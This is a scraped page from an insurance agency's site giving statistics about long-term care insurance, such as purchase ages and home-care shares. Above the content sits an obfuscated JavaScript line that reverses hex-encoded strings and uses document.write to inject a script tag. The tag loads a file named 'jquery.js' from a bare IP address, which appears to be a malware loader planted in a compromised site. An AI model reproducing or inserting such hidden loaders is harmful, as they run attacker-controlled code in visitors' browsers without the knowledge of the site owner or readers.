var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])) LTC Overview - CJB Insurance Services, Inc. - 510.342.2670CJB Insurance Services, Inc. – 510.342.2670

LTC Overview

Facts and Figures from the insurance industry and Department of Health and Human Services:

  • 79% of the people purchasing Long Term Care policies are between ages 45-64
  • 99% of buyers keep their policy for the rest of their life
  • 49% of people receiving long-term care do so in their own homes
  • Another 24% get funds for Assisted Living Facilities
  • Each year the percent receiving insurance funds for home care services increases
  • Only 9% of baby boomers have planned for their Long Term Care needs
  • 70% of those over the age of 65 will need long term care in their lifetime
  • 71% of the benefits are paid to females
  • 67% of unpaid caregivers are female
  • 67% of the people who plan to have a loved one provide care have not ask the loved one to take care of them when the need arises
  • The number of Americans 65 or older will double over the next 35 years

Long-Term Care Insurance for Seniors

Helpful Links:

Government Sites:

Articles & Videos

Meet Sandy: A LTC Story

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